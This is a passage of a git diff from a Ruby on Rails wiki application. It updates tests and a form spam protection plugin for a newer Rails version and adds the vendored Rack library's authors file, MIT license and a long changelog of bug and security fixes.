filename="wiki1-xhtml-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] assert_equal 'PK', r.body[0..1], 'Content is not a zip file' @@ -149,7 +150,7 @@ class WikiControllerTest < Test::Unit::TestCase r = process 'export_html', 'web' => 'wiki1' assert_response(:success, bypass_body_parsing = true) - assert_equal 'application/zip', r.headers['type'] + assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] assert_equal 'PK', r.body[0..1], 'Content is not a zip file' @@ -177,7 +178,7 @@ class WikiControllerTest < Test::Unit::TestCase r = process 'export_html', 'web' => 'wiki1', 'layout' => 'no' assert_response(:success, bypass_body_parsing = true) - assert_equal 'application/zip', r.headers['type'] + assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-x?html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] assert_equal 'PK', r.body[0..1], 'Content is not a zip file' @@ -187,7 +188,7 @@ class WikiControllerTest < Test::Unit::TestCase r = process 'export_markup', 'web' => 'wiki1' assert_response(:success, bypass_body_parsing = true) - assert_equal 'application/zip', r.headers['type'] + assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-markdownMML-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] assert_equal 'PK', r.body[0..1], 'Content is not a zip file' @@ -199,7 +200,7 @@ class WikiControllerTest < Test::Unit::TestCase # def test_export_pdf # r = process 'export_pdf', 'web' => 'wiki1' # assert_response(:success, bypass_body_parsing = true) -# assert_equal 'application/pdf', r.headers['type'] +# assert_equal 'application/pdf', r.headers['Content-Type'] # assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, # r.headers['Content-Disposition'] # assert_equal '%PDF', r.body[0..3] @@ -216,7 +217,7 @@ class WikiControllerTest < Test::Unit::TestCase # r = process 'export_tex', 'web' => 'wiki1' # # assert_response(:success, bypass_body_parsing = true) -# assert_equal 'application/octet-stream', r.headers['type'] +# assert_equal 'application/octet-stream', r.headers['Content-Type'] # assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, # r.headers['Content-Disposition'] # assert_equal '\documentclass', r.body[0..13], 'Content is not a TeX file' @@ -296,7 +297,7 @@ class WikiControllerTest < Test::Unit::TestCase # assert_equal '%PDF', r.body[0..3] # assert_equal "EOF\n", r.body[-4..-1] # -# assert_equal 'application/pdf', r.headers['type'] +# assert_equal 'application/pdf', r.headers['Content-Type'] # assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, # r.headers['Content-Disposition'] # end @@ -591,8 +592,8 @@ class WikiControllerTest < Test::Unit::TestCase 'author' => 'AuthorOfNewPage' assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' - assert_equal ['AuthorOfNewPage'], r.cookies['author'].value - assert_equal Time.utc(2030), r.cookies['author'].expires + assert_equal 'AuthorOfNewPage', r.cookies['author'] + assert_match @eternity, r.headers["Set-Cookie"][0] new_page = @wiki.read_page('wiki1', 'NewPage') assert_equal 'Contents of a new page', new_page.content assert_equal 'AuthorOfNewPage', new_page.author @@ -603,8 +604,8 @@ class WikiControllerTest < Test::Unit::TestCase 'author' => 'AuthorOfNewPage' assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'NewPage', :content => '' - assert_equal ['AuthorOfNewPage'], r.cookies['author'].value - assert_equal Time.utc(2030), r.cookies['author'].expires + assert_equal 'AuthorOfNewPage', r.cookies['author'] + assert_match @eternity, r.headers["Set-Cookie"][0] end def test_save_not_utf8_ncr @@ -612,8 +613,8 @@ class WikiControllerTest < Test::Unit::TestCase 'author' => 'AuthorOfNewPage' assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'NewPage' - assert_equal ['AuthorOfNewPage'], r.cookies['author'].value - assert_equal Time.utc(2030), r.cookies['author'].expires + assert_equal 'AuthorOfNewPage', r.cookies['author'] + assert_match @eternity, r.headers["Set-Cookie"][0] end def test_save_not_utf8_dec_ncr @@ -621,8 +622,8 @@ class WikiControllerTest < Test::Unit::TestCase 'author' => 'AuthorOfNewPage' assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'NewPage' - assert_equal ['AuthorOfNewPage'], r.cookies['author'].value - assert_equal Time.utc(2030), r.cookies['author'].expires + assert_equal 'AuthorOfNewPage', r.cookies['author'] + assert_match @eternity, r.headers["Set-Cookie"][0] end def test_save_new_revision_of_existing_page @@ -633,7 +634,7 @@ class WikiControllerTest < Test::Unit::TestCase 'author' => 'Batman' assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['Batman'], r.cookies['author'].value + assert_equal 'Batman', r.cookies['author'] home_page = @wiki.read_page('wiki1', 'HomePage') assert_equal current_revisions+1, home_page.revisions.size assert_equal 'Revised HomePage', home_page.content @@ -652,7 +653,7 @@ class WikiControllerTest < Test::Unit::TestCase :content => 'HisWay would be MyWay $\sin(x)\begin{svg}\end{svg}\includegraphics[width' + '=3em]{foo}$ in kinda ThatWay in HisWay though MyWay \OverThere -- see SmartEng' + 'ine in that SmartEngineGUI' - assert_equal ['Batman'], r.cookies['author'].value + assert_equal 'Batman', r.cookies['author'] home_page = @wiki.read_page('wiki1', 'HomePage') assert_equal current_revisions, home_page.revisions.size assert_equal 'DavidHeinemeierHansson', home_page.author diff --git a/test/test_helper.rb b/test/test_helper.rb index 24e61033..66a1b1e6 100644 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -4,8 +4,7 @@ ENV['RAILS_ENV'] = 'test' # File.expand_path can be removed if Ruby 1.9 is in use. require File.expand_path(File.dirname(__FILE__) + '/../config/environment') -require 'test/unit' -require 'active_record/fixtures' +require 'test_help' require 'wiki_content' require 'url_generator' require 'digest/sha1' @@ -17,10 +16,12 @@ class FakeSessionDbMan end end -Test::Unit::TestCase.pre_loaded_fixtures = false -Test::Unit::TestCase.use_transactional_fixtures = true -Test::Unit::TestCase.use_instantiated_fixtures = false -Test::Unit::TestCase.fixture_path = File.dirname(__FILE__) + "/fixtures/" +class ActiveSupport::TestCase + self.pre_loaded_fixtures = false + self.use_transactional_fixtures = true + self.use_instantiated_fixtures = false + self.fixture_path = File.dirname(__FILE__) + "/fixtures/" +end # activate PageObserver PageObserver.instance diff --git a/test/unit/page_renderer_test.rb b/test/unit/page_renderer_test.rb index fd29b826..7fc73e4f 100644 --- a/test/unit/page_renderer_test.rb +++ b/test/unit/page_renderer_test.rb @@ -1,6 +1,6 @@ require File.expand_path(File.dirname(__FILE__) + '/../test_helper') -class PageRendererTest < Test::Unit::TestCase +class PageRendererTest < ActiveSupport::TestCase fixtures :webs, :pages, :revisions, :system, :wiki_references def setup diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 66fe1deb..38efd80a 100644 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -1,6 +1,6 @@ require File.expand_path(File.dirname(__FILE__) + '/../test_helper') -class PageTest < Test::Unit::TestCase +class PageTest < ActiveSupport::TestCase fixtures :webs, :pages, :revisions, :system def setup diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index 00d1f514..ec85f81c 100644 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -1,7 +1,7 @@ require File.dirname(__FILE__) + '/../test_helper' #require File.expand_path(File.dirname(__FILE__) + '/../test_helper') -class WebTest < Test::Unit::TestCase +class WebTest < ActiveSupport::TestCase fixtures :system, :webs, :pages, :revisions, :wiki_references def setup diff --git a/test/unit/wiki_file_test.rb b/test/unit/wiki_file_test.rb index 886bd36d..6ea42f3b 100644 --- a/test/unit/wiki_file_test.rb +++ b/test/unit/wiki_file_test.rb @@ -1,7 +1,7 @@ require File.dirname(__FILE__) + '/../test_helper' require 'fileutils' -class WikiFileTest < Test::Unit::TestCase +class WikiFileTest < ActiveSupport::TestCase include FileUtils fixtures :webs, :pages, :revisions, :system, :wiki_references diff --git a/vendor/plugins/form_spam_protection/lib/form_spam_protection.rb b/vendor/plugins/form_spam_protection/lib/form_spam_protection.rb index b85aabd5..9d90cf04 100644 --- a/vendor/plugins/form_spam_protection/lib/form_spam_protection.rb +++ b/vendor/plugins/form_spam_protection/lib/form_spam_protection.rb @@ -14,7 +14,7 @@ module FormSpamProtection def protect_form_handler_from_spam unless request.get? || request.xml_http_request? if params[:_form_key] && session[:form_keys] - key = session.dbman.generate_digest(params[:_form_key]) + key = Digest::SHA1.hexdigest(params[:_form_key]) if session[:form_keys].keys.include?(key) session[:form_keys][key][1] += 1 if session[:form_keys][key][1] >= 4 diff --git a/vendor/plugins/form_spam_protection/lib/form_tag_helper_extensions.rb b/vendor/plugins/form_spam_protection/lib/form_tag_helper_extensions.rb index 8649ea9f..fcef5bde 100644 --- a/vendor/plugins/form_spam_protection/lib/form_tag_helper_extensions.rb +++ b/vendor/plugins/form_spam_protection/lib/form_tag_helper_extensions.rb @@ -8,7 +8,7 @@ module ActionView if name == :form && @protect_form_from_spam session[:form_keys] ||= {} form_key = Digest::SHA1.hexdigest(self.object_id.to_s + rand.to_s) - session[:form_keys][session.dbman.generate_digest(form_key)] = [Time.now, 0] + session[:form_keys][Digest::SHA1.hexdigest(form_key)] = [Time.now, 0] if session[:form_keys].length > 30 first = session[:form_keys].values.sort { |a,b| a[0] <=> b[0] } [0] session[:form_keys].delete(session[:form_keys].index(first)) diff --git a/vendor/plugins/rack/AUTHORS b/vendor/plugins/rack/AUTHORS new file mode 100644 index 00000000..dc0203de --- /dev/null +++ b/vendor/plugins/rack/AUTHORS @@ -0,0 +1,8 @@ +* Christian Neukirchen +* HTTP authentication: Tim Fletcher +* Cookie sessions, Static handler: Luc Heinrich +* Pool sessions, OpenID authentication: blink +* Rack::Deflater: Christoffer Sawicki +* LiteSpeed handler: Adrian Madrid +* SCGI handler: Jeremy Evans +* Official Logo: Armin Ronacher diff --git a/vendor/plugins/rack/COPYING b/vendor/plugins/rack/COPYING new file mode 100644 index 00000000..8ed138b9 --- /dev/null +++ b/vendor/plugins/rack/COPYING @@ -0,0 +1,18 @@ +Copyright (c) 2007 Christian Neukirchen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to +deal in the Software without restriction, including without limitation the +rights to use, copy, modify, merge, publish, distribute, sublicense, and/or +sell copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/rack/ChangeLog b/vendor/plugins/rack/ChangeLog new file mode 100644 index 00000000..059ae933 --- /dev/null +++ b/vendor/plugins/rack/ChangeLog @@ -0,0 +1,1423 @@ +Fri Jan 9 17:32:54 2009 +0100 Christian Neukirchen + * Fix directory traversal exploits in Rack::File and Rack::Directory + +Tue Jan 6 12:56:00 2009 +0100 Christian Neukirchen + * Last minute README fixes + +Tue Jan 6 12:46:37 2009 +0100 Christian Neukirchen + * Fix last glitches + +Tue Jan 6 12:44:44 2009 +0100 Christian Neukirchen + * Set release date + +Mon Jan 5 17:44:36 2009 -0800 Jon Crosby + * Store original HTTP method in MethodOverride middleware + +Tue Jan 6 12:30:29 2009 +0100 Christian Neukirchen + * Fix typos in auth/openid + Reported by Robert Adkins + +Mon Jan 5 18:41:15 2009 +0100 Christian Neukirchen + * Rack::File::MIME_TYPES is now Rack::Mime::MIME_TYPES + +Mon Jan 5 18:35:31 2009 +0100 Christian Neukirchen + * Update gemspec + +Mon Jan 5 18:46:08 2009 +0100 Christian Neukirchen + * Revert "Added Rack::Request initialization memoization to reduce repetitive instantiation cost." + Potentially causes problems with inheritance. + + This reverts commits: + 4cf6f6eb0dd8fdb415016a4e2f41d1784146cd7a + 552f7b0718ee8cd79c185cd72413690f0da72402 + eefbed89c4ece749e889132012d0f67cd87926a8 + +Mon Jan 5 18:42:09 2009 +0100 Christian Neukirchen + * Branch 0.9 + +Mon Jan 5 18:16:36 2009 +0100 Christian Neukirchen + * Update thanks + +Mon Jan 5 18:16:24 2009 +0100 Christian Neukirchen + * Update copyright + +Mon Jan 5 18:06:11 2009 +0100 Christian Neukirchen + * Update README + +Mon Jan 5 15:00:15 2009 +0100 Christian Neukirchen + * In URLMap, entries without host name should come first + +Mon Jan 5 14:59:38 2009 +0100 Christian Neukirchen + * Marshall of String changed in 1.9 + +Mon Jan 5 14:59:27 2009 +0100 Christian Neukirchen + * Rewrite Response test to use a well-defined #each + +Mon Jan 5 14:59:06 2009 +0100 Christian Neukirchen + * Array#to_a changed in 1.9 + +Mon Jan 5 14:58:45 2009 +0100 Christian Neukirchen + * Constants are symbols in 1.9 + +Mon Jan 5 13:51:20 2009 +0100 Christian Neukirchen + * Shuffle scopes for 1.9 + +Mon Jan 5 05:41:13 2009 -0400 raggi + * Fix spec_rack_response for 1.9 + +Sun Jan 4 23:19:31 2009 +0900 Michael Fellinger + * Fix webrick handler for ruby 1.9.1 + +Tue Dec 30 22:03:42 2008 +0100 Christian Neukirchen + * Merge commit 'official/master' + +Tue Dec 30 21:48:17 2008 +0100 Christian Neukirchen + * Add trailing slash to the alternative gem server + +Mon Dec 29 22:31:27 2008 -0600 Joshua Peek + * Support X-Http-Method-Override header in MethodOverride middleware + +Tue Dec 30 12:23:26 2008 +0100 Christian Neukirchen + * Don't leak absolute paths in error messages + Reported by Yonghui Luo. + +Mon Dec 29 02:15:25 2008 -0800 Ryan Tomayko + * Implement HeaderHash#merge! and HeaderHash#merge + +Mon Dec 29 00:40:46 2008 -0800 Ryan Tomayko + * Use HeaderHash where header case should be insensitive + + The ConditionalGet, ContentLength, Deflator, and ShowStatus + middleware components were reading/checking headers case + sensitively. + +Thu Dec 11 21:00:27 2008 -0800 Ryan Tomayko + * Non-normalizing HeaderHash with case-insensitive lookups + + This is a backwards incompatible change that removes header name + normalization while attempting to keep most of its benefits. The + header name case is preserved but the Hash has case insensitive + lookup, replace, delete, and include semantics. + +Mon Dec 29 11:49:29 2008 -0600 Joshua Peek + * Don't try to rewind CGI input + +Sun Dec 28 14:08:47 2008 +0100 Christian Neukirchen + * Reformat Rack::Deflater code + +Tue Dec 23 00:23:49 2008 -0800 Ryan Tomayko + * Rack::Deflator respects the no-transform cache control directive + +Thu Dec 25 12:20:50 2008 +0100 Christian Neukirchen + * Update README + +Thu Dec 25 12:09:42 2008 +0100 Christian Neukirchen + * Idiomize code + +Wed Dec 24 19:33:17 2008 -0500 Matt Todd + * Added specification for Rack::Request memoization. + +Wed Dec 24 19:25:20 2008 -0500 Matt Todd + * Updated spec with the new size of the content length based on the new environment variable data included with the Rack::Request instantiation memoization. + +Wed Dec 24 19:24:44 2008 -0500 Matt Todd + * Added Rack::Request initialization memoization to reduce repetitive instantiation cost. + +Tue Dec 23 21:32:38 2008 -0600 Joshua Peek + * Rewind input after parsing request form vars + +Tue Dec 23 21:22:50 2008 -0600 Joshua Peek + * Delegate Lint::InputWrapper#rewind to underlying IO object + +Tue Dec 23 11:52:11 2008 -0800 Ryan Tomayko + * use Set instead of Array for STATUS_WITH_NO_ENTITY_BODY + +Mon Dec 22 22:17:18 2008 -0800 Ryan Tomayko + * Rack::ContentLength tweaks ... + + * Adds a Content-Length header only when the body is of knownable + length (String, Array). + * Does nothing when Transfer-Encoding header is present in + response. + * Uses a Set instead of an Array for status code lookup (linear + search through 102 elements seemed expensive). + +Sat Dec 20 13:36:22 2008 -0800 Dan Kubb + * Fixed Rack::Deflater to handle responses with Last-Modified header + + * There was a bug when performing gzip compression where the + Last-Modified response header was assumed to be a Time object, + and passed directly to Zlib::GzipWriter#mtime, causing an exception + since it is always a String. + + This fix parses the Last-Modified header using Time.httpdate and + returns a Time obejct, which can be safely passed to + Zlib::GzipWriter#mtime. + +Sat Dec 20 13:23:05 2008 -0800 Dan Kubb + * Do not add Content-Encoding for a response without and entity body + +Sat Dec 20 13:17:18 2008 -0800 Dan Kubb + * Updated Rack::Deflater spec helper to allow setting the default status + +Sat Dec 20 13:06:28 2008 -0800 Dan Kubb + * Moved STATUS_WITH_NO_ENTITY_BODY into Rack::Utils + + * Removed duplicate constant from Rack::ContentLength and Rack::Lint + +Sat Dec 20 13:00:58 2008 -0800 Dan Kubb + * Added Accept-Encoding to HTTP Vary header + +Fri Dec 19 15:24:21 2008 +0100 Christian Neukirchen + * Merge commit 'rtomayko/methodoverride' + +Thu Dec 18 19:25:24 2008 -0800 Ryan Tomayko + * Fix MethodOverride error when POST has no _method param + +Wed Dec 17 10:02:15 2008 -0500 macournoyer + * Add autoload for Thin handler + +Tue Dec 16 21:48:21 2008 -0500 macournoyer + * Add Thin handler + +Tue Dec 9 10:34:19 2008 -0600 Joshua Peek + * Add ContentLength middleware + +Mon Dec 1 22:24:23 2008 -0700 kastner + * fixing camping bug. see gist:26011 + +Tue Dec 2 11:28:49 2008 -0600 Joshua Peek + * Correct status code language to follow RFC 2616 + +Wed Nov 19 22:07:38 2008 +0100 Daniel Roethlisberger + * Improve session id security: Make session id size configurable, raise the default size from 32 bits to 128 bits, and refactor to allow for easy monkey patching the actual session id generation. Modified version according to feedback. + +Wed Nov 19 22:23:30 2008 +0100 Daniel Roethlisberger + * Add support for Secure and HttpOnly flags to session cookies. Set HttpOnly flag by default, since normally, there is no need to read a Rack session from JavaScript in the browser. Do not set the Secure flag by default, since that breaks if the application is not served over TLS. + +Fri Oct 17 11:43:25 2008 -0700 Eric Wong + * Avoid slurping or parsing request body on PUT requests + + Uploading a large file via the HTTP PUT method causes + `@env["rack.input"].read' to be called inside the POST method. This + means the entire file is slurped into memory and was needlessly causing + my Sinatra process to eat up 300M+ for some uploads I've been doing. + +Thu Nov 20 14:49:32 2008 -0800 postmodern + * Use the universally supported select event handler for lighttpd. + + * freebsd-kqueue is obviously not supported on Linux. + +Thu Nov 20 00:14:21 2008 -0800 postmodern + * When calling map, create another object of the same class. + + * This allows one to extend Rack::Builder to create specialized Rack + DSLs. + +Fri Nov 28 15:51:48 2008 +0100 Christian Neukirchen + * Silence Net::HTTP warning + +Tue Nov 25 16:33:27 2008 -0800 Phil Hagelberg + * Updated the tests to use net/http since open-uri doesn't stream responses. + + Oh, and now the tests actually pass. + +Tue Nov 25 16:16:39 2008 -0800 Phil Hagelberg + * Allow streaming with the Mongrel Handler. + + Write directly to the socket instead of keeping it in the Mongrel Response body. + Send the status/headers up front. + +Tue Nov 25 15:29:24 2008 -0800 Phil Hagelberg + * Add tests for streaming with Mongrel. + +Sun Oct 19 00:15:49 2008 -0600 Ben Alpert + * Implemented Rack::Head, modified Rack::Lint to ensure responses to HEAD requests have empty bodies + +Sat Oct 11 16:45:41 2008 +0200 Christian Neukirchen + * Fix header emission for WEBrick and Set-Cookie + Found by Michael Fellinger. + This does not fix Set-Cookie2, Warning, or WWW-Authenticate, because + WEBrick has no way to have duplicates for them. + +Wed Oct 1 12:10:40 2008 +0200 Christian Neukirchen + * Test that Rack::Session::Cookie ignores tampered with session cookies + by Christoffer Sawicki + +Tue Sep 30 19:18:35 2008 +0200 Christian Neukirchen + * Add secure cookies + Proposed by necrodome. + +Tue Sep 30 17:25:29 2008 +0900 Michael Fellinger + * Empty is if Content-Length is 0, [''] ain't empty? + +Tue Sep 16 11:50:27 2008 +0200 Christian Neukirchen + * Rewrite Rack::Builder tests to avoid race-conditions + +Sat Sep 13 04:28:51 2008 -0400 Matt Todd + * Added another example demonstrating the Rack::Builder.app method. + +Sat Sep 13 04:21:38 2008 -0400 Matt Todd + * Added spec for application initialization to be performed only once. + +Sat Sep 13 03:47:12 2008 -0400 Matt Todd + * Implemented Rack::Builder.app and added specs. + +Wed Sep 10 18:56:46 2008 +0200 Christian Neukirchen + * Add :secure option for set_cookie + By Brad Hilton. + +Tue Sep 9 11:25:49 2008 +0200 Christian Neukirchen + * ConditionalGet middleware (Last-Modified/Etag) + + Adapted from Michael Klishin's implementation for Merb: + http://github.com/wycats/merb-core/tree/master/lib/merb-core/rack/middleware/conditional_get.rb + + Implemented by Ryan Tomayko. + +Sun Sep 7 12:20:22 2008 -0500 Joshua Peek + * Add MethodOverride middleware to allow browsers to fake PUT and DELETE methods + +Sun Sep 7 20:20:30 2008 +0200 Christian Neukirchen + * Update emongrel and add swiftiplied mongrel + +Sun Sep 7 20:15:26 2008 +0200 Christian Neukirchen + * Update Rack::File + + * Fix trouble with wrong Content-Length if File.size returns 0 + * Use Rack::Mime + * Split _call into methods for easier subclassing + + Based on a patch by Michael Fellinger. + +Sun Sep 7 19:52:15 2008 +0200 Christian Neukirchen + * New version of Rack::Directory + + * Handles symlinks + * Less disk access + * Uses UTF8 + * Human-readable filesize from Bytes to Terabytes + * Uses Rack::File as app by default + * Does a File.expand_path on the + * +root+ argument + * Splits up the _call + * method for easier + * subclassing + * Use new Rack::Mime + + Based on a patch by Michael Fellinger. + +Sun Sep 7 17:51:44 2008 +0200 Christian Neukirchen + * Add Rack::Mime, a module containing a MIME-type list and helpers + Proposed and implemented by Michael Fellinger. + +Fri Sep 5 22:22:16 2008 +0300 Michael S. Klishin + * Make Rack::Lint::InputWrapper delegate size method to underlying IO object. + + See http://snurl.com/3nesq: Lint was breaking file uploads in a Merb app. + + Signed-off-by: Michael S. Klishin + +Sat Aug 30 16:47:50 2008 +0900 Michael Fellinger + * Add Request#ip and corresponding spec + +Thu Aug 28 15:57:14 2008 +0200 Christian Neukirchen + * Make Rack::Lobster set Content-Length + +Thu Aug 28 15:55:19 2008 +0200 Christian Neukirchen + * Make Rack::ShowExceptions set Content-Length + +Thu Aug 28 15:54:21 2008 +0200 Christian Neukirchen + * Make Rack::Response count Content-Length + +Thu Aug 28 15:47:47 2008 +0200 Christian Neukirchen + * Remove empty FastCGI headers nginx likes to pass + +Thu Aug 21 12:26:47 2008 +0200 Christian Neukirchen + * Update to version 0.4 + +Thu Aug 21 13:24:41 2008 +0200 Christian Neukirchen + * Cosmetics + +Thu Aug 21 12:26:36 2008 +0200 Christian Neukirchen + * Fix packaging script + +Thu Aug 21 12:13:57 2008 +0200 Christian Neukirchen + * Update README + +Tue Aug 19 13:15:18 2008 +0200 Christian Neukirchen + * REQUEST_METHOD only must be a valid token + +Sat Aug 9 18:53:04 2008 +0200 Christian Neukirchen + * Improve test documentation + +Sat Aug 9 18:52:33 2008 +0200 Christian Neukirchen + * Don't test OpenID in the default test suite + +Sat Aug 9 18:52:03 2008 +0200 Christian Neukirchen + * Wrangle paths so finally lighttpd should start everything on all platforms correctly + +Sat Aug 9 18:50:33 2008 +0200 Christian Neukirchen + * Don't test openid if not available + +Sat Aug 9 18:49:53 2008 +0200 Christian Neukirchen + * Don't test mongrel if not available + +Sat Aug 9 18:29:44 2008 +0200 Christian Neukirchen + * Silence OpenID warnings + +Sat Aug 9 18:29:15 2008 +0200 Christian Neukirchen + * Make memcache tests start and kill memcached itself + +Thu Aug 7 03:32:31 2008 -0700 Scytrin dai Kinthra + * BUG: Output of date in wrong time format for cookie expiration (fixed) + Altered test output to match correct name of gem needing to be installed for memcache + +Thu Aug 7 03:01:31 2008 -0700 Scytrin dai Kinthra + * Merge commit 'core/master' + +Fri Aug 1 12:24:43 2008 +0200 Christian Neukirchen + * Make Rack::Lint threadsafe + reported by Sunny Hirai + +Thu Jul 24 11:26:17 2008 +0200 Christian Neukirchen + * Merge git://github.com/dkubb/rack + +Thu Jul 24 01:40:18 2008 -0700 Dan Kubb + * Ensure the comparison is case insensitive + +Thu Jul 24 01:12:25 2008 -0700 Dan Kubb + * Updated Rake::Lint to ensure Content-Length header is present for non-chunked responses + +Sat Jul 12 12:47:35 2008 +0200 Julik + * Make Lint show proper errors for headers + +Wed Jul 9 15:18:35 2008 +0200 Clive Crous + * Fix digest paramater scanning. + Current scan sometimes took down sites. + Worst case scenario is when a user just clicked "ok" without entering a username. This could take down the entire website. + This is related to the ruby (language) bug: + http://rubyforge.org/tracker/index.php?func=detail&aid=21131&group_id=426&atid=1698 + +Tue Jul 1 22:59:09 2008 +0200 Christoffer Sawicki + * spec_rack_handler.rb - Fixed typos + +Mon Jun 23 17:18:28 2008 +0200 Christoffer Sawicki + * spec_rack_utils.rb - Reformulated two test case descriptions + +Sat Jul 5 02:23:45 2008 +0200 Christoffer Sawicki + * deflater.rb - Make gzip's mtime parameter mandatory + +Sat Jul 5 02:16:09 2008 +0200 Christoffer Sawicki + * deflater.rb - Update TODOs + +Sat Jul 5 02:13:17 2008 +0200 Christoffer Sawicki + * deflater.rb - Move out the Zlib::Deflate constructor arguments to a constant + +Fri Jul 4 23:57:05 2008 +0200 Christoffer Sawicki + * deflater.rb - Removed unnecessary require "time" and whitespace + +Fri Jul 4 12:53:43 2008 -0600 Ben Alpert + * added mtime for Deflater.gzip and fixed gzip spec + +Fri Jul 4 13:36:18 2008 +0200 Christoffer Sawicki + * deflater.rb - Added an error message for the 406 Not Acceptable case + +Fri Jul 4 02:35:15 2008 -0600 Ben + * added gzip support to Rack::Deflater + +Wed Jul 2 00:11:06 2008 +0200 Christoffer Sawicki + * Implemented Rack::Deflater + +Tue Jul 1 22:37:58 2008 +0200 Christoffer Sawicki + * Added support for Accept-Encoding (via Request#accept_encoding and Utils.select_best_encoding) + +Tue Jul 1 15:09:16 2008 -0700 Scytrin dai Kinthra + * Merge branch 'openid2' + +Tue Jul 1 15:02:00 2008 -0700 Scytrin dai Kinthra + * Refactoring of sanity checks on adding extensions for more descriptive exceptions. + Additional tests on extension handling. + +Tue Jul 1 14:58:27 2008 -0700 Scytrin dai Kinthra + * Default :return_to is Request#url. + Reordering of finish vs check to prevent recursive oid checks. + Additional $DEBUG output + +Tue Jul 1 14:55:37 2008 -0700 Scytrin dai Kinthra + * Documentation revisions. 80 cols! + +Sun Jun 29 13:37:27 2008 -0700 Scytrin dai Kinthra + * Additional documentation examples. + +Sun Jun 29 13:06:34 2008 -0700 Scytrin dai Kinthra + * Merge branch 'openid2' + +Sun Jun 29 13:05:05 2008 -0700 Scytrin dai Kinthra + * Revisions to setup checks in order to match test specs. + Revisions to corresponding documentation. + Addition of #extension_namespaces for conveniance. + +Sat Jun 28 17:54:45 2008 -0700 Scytrin dai Kinthra + * Additional checks and tests for extension handling. + +Sat Jun 28 17:19:07 2008 -0700 Scytrin dai Kinthra + * Expansion and better handling of extensions. + Additional documentation and revisions in reference to extensions. + General documentation revisions. + +Sat Jun 28 14:07:57 2008 -0700 Scytrin dai Kinthra + * Initial support for OpenID extensions. + Extensions require implementation from ::OpenID::Extension + +Sat Jun 28 14:37:09 2008 -0700 Scytrin dai Kinthra + * Reformatting of debug warning + +Fri Jun 27 09:44:38 2008 -0700 Dan Kubb + * Make Rack::File use RFC 2616 HTTP Date/Time format for Last-Modified + +Tue Jun 24 13:55:25 2008 +0200 Christian Neukirchen + * Merge commit 'scytrin/master' + +Tue Jun 24 11:57:04 2008 +0200 Christian Neukirchen + * Only call binmode when possible in the multipart parser + +Tue Jun 24 01:58:27 2008 -0700 Scytrin dai Kinthra + * Merge commit 'chneukirchen/master' + +Tue Jun 24 01:52:16 2008 -0700 Scytrin dai Kinthra + * Merge branch 'openid2' + +Tue Jun 24 01:43:03 2008 -0700 Scytrin dai Kinthra + * Documentation revisions + +Mon Jun 23 04:26:38 2008 -0700 Scytrin dai Kinthra + * OpenID2 moved to replace OpenID + +Fri Jun 20 23:16:21 2008 +0200 Christoffer Sawicki + * file.rb - Added MP3 to MIME_TYPES + +Mon Jun 23 04:25:10 2008 -0700 Scytrin dai Kinthra + * Merge branch 'openid2' + +Mon Jun 23 01:55:35 2008 -0700 Scytrin dai Kinthra + * Removed extraneous test file + Updated rubygems specification + +Mon Jun 23 01:04:10 2008 -0700 Scytrin dai Kinthra + * Addition of initial tests for OpenID2 + Additional checks on provided URIs. + +Sun Jun 22 08:27:48 2008 -0700 Scytrin dai Kinthra + * typo correction + +Sun Jun 22 01:09:49 2008 -0700 Scytrin dai Kinthra + * More rephrasing. + +Sat Jun 21 18:31:09 2008 -0700 Scytrin dai Kinthra + * Initial import of OpenID tests + +Sat Jun 21 18:29:45 2008 -0700 Scytrin dai Kinthra + * Revisions to check logic and presentation + +Sat Jun 21 18:10:27 2008 -0700 Scytrin dai Kinthra + * Documentation updates and revisions. + Addition of additional checks. + +Fri Jun 20 13:23:07 2008 -0700 Scytrin dai Kinthra + * Documentation update. + Removal of message appending in a cancel response. + +Fri Jun 20 12:56:05 2008 -0700 Scytrin dai Kinthra + * Documentation updates and improvements. + Adjusted naming for a few options. + The method #finish will always return a 303 redirect unless an error occurs. + +Wed Jun 18 03:57:23 2008 -0700 Scytrin dai Kinthra + * Inlining the management of exceptional responses. + Removal of extension support until assurance of a decent and clean way of support. + Revisions to documentation. + Rewriting of various expressions for clarity and consistancy. + Replaced hard coded symbols with constant reference. + Included list of optional arguments for notes on later documentation. + +Thu Jun 12 16:53:07 2008 -0700 Scytrin dai Kinthra + * Removed bare_login functionality, added an optional 500 returning intercept + 